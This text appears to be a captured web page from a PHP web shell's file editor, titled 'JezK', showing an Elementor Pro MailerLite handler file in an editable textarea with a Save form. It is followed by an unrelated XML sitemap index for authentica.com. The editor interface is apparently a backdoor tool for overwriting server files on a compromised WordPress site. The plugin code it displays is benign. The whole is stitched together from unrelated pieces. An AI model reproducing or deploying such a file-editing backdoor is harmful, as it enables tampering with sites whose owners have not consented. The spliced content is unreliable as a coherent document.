
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: mailerlite-handler.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace ElementorPro\Modules\Forms\Classes;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Mailerlite_Handler {
	/**
	 * @var Rest_Client
	 */
	private $rest_client = null;
	private $api_key = '';

	/**
	 * Mailerlite_Handler constructor.
	 *
	 * @param $api_key
	 *
	 * @throws \Exception
	 */
	public function __construct( $api_key ) {
		if ( empty( $api_key ) ) {
			throw new \Exception( 'Invalid API key.' );
		}
		$this-&gt;init_rest_client( $api_key );
		if ( ! $this-&gt;is_valid_api_key() ) {
			throw new \Exception( 'Invalid API key.' );
		}
	}

	private function init_rest_client( $api_key ) {
		$this-&gt;api_key = $api_key;
		$this-&gt;rest_client = new Rest_Client( 'https://api.mailerlite.com/api/v2/' );
		$this-&gt;rest_client-&gt;add_headers( [
			'X-MailerLite-ApiKey' =&gt; $api_key,
			'Content-Type' =&gt; 'application/json',
		] );
	}

	/**
	 * validate api key
	 *
	 * @return bool
	 * @throws \Exception
	 */
	private function is_valid_api_key() {
		$groups = $this-&gt;rest_client-&gt;get( 'groups' );
		if ( ! empty( $groups ) ) {
			return true;
		}
		$this-&gt;api_key = '';

		return false;
	}

	/**
	 * get MailerLite groups associated with API key
	 * @return array
	 * @throws \Exception
	 */
	public function get_groups() {
		$results = $this-&gt;rest_client-&gt;get( 'groups' );

		$groups = [
			'' =&gt; esc_html__( 'Select...', 'elementor-pro' ),
		];

		if ( 200 === $results['code'] ) {
			foreach ( $results['body'] as $index =&gt; $group ) {
				$groups[ $group['id'] ] = $group['name'];
			}
		}

		$return_array = [
			'groups' =&gt; $groups,
			'fields' =&gt; $this-&gt;get_fields(),
		];

		return $return_array;
	}

	/**
	 * get MailerLite fields associated with API key
	 * @return array
	 * @throws \Exception
	 */
	public function get_fields() {
		$results = $this-&gt;rest_client-&gt;get( 'fields' );

		$fields = [];
		if ( ! empty( $results['body'] ) ) {
			foreach ( $results['body'] as $index =&gt; $field ) {
				if ( ! is_array( $field ) || empty( $field['date_updated'] ) ) {
					continue;
				}
				$fields[] = [
					'remote_label' =&gt; $field['title'],
					'remote_type' =&gt; strtolower( $field['type'] ),
					'remote_id' =&gt; $field['key'],
					'remote_required' =&gt; false,
				];
			}
		}

		return $fields;
	}

	/**
	 * create subscriber at drip via api
	 *
	 * @param string $group
	 * @param array  $subscriber_data
	 *
	 * @return array|mixed
	 * @throws \Exception
	 */
	public function create_subscriber( $group = '', $subscriber_data = [] ) {
		$end_point = sprintf( 'groups/%s/subscribers', $group );

		return $this-&gt;rest_client-&gt;post( $end_point, $subscriber_data );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//authentica.com/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://authentica.com/post-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap1.xml</loc>
		<lastmod>2026-08-26T08:04:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap2.xml</loc>
		<lastmod>2026-08-26T07:16:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/seoul-courses-sitemap.xml</loc>
		<lastmod>2026-07-13T10:19:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/barcelona-courses-sitemap.xml</loc>
		<lastmod>2026-07-24T07:14:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/florence-courses-sitemap.xml</loc>
		<lastmod>2026-07-21T10:27:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/programs_filters-sitemap.xml</loc>
		<lastmod>2026-08-25T10:16:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/category-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/news-sitemap.xml</loc>
		<lastmod>2026-08-25T11:26:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/video-sitemap.xml</loc>
		<lastmod>2026-08-21T13:20:02+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/local-sitemap.xml</loc>
		<lastmod>2026-07-21T08:21:27+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->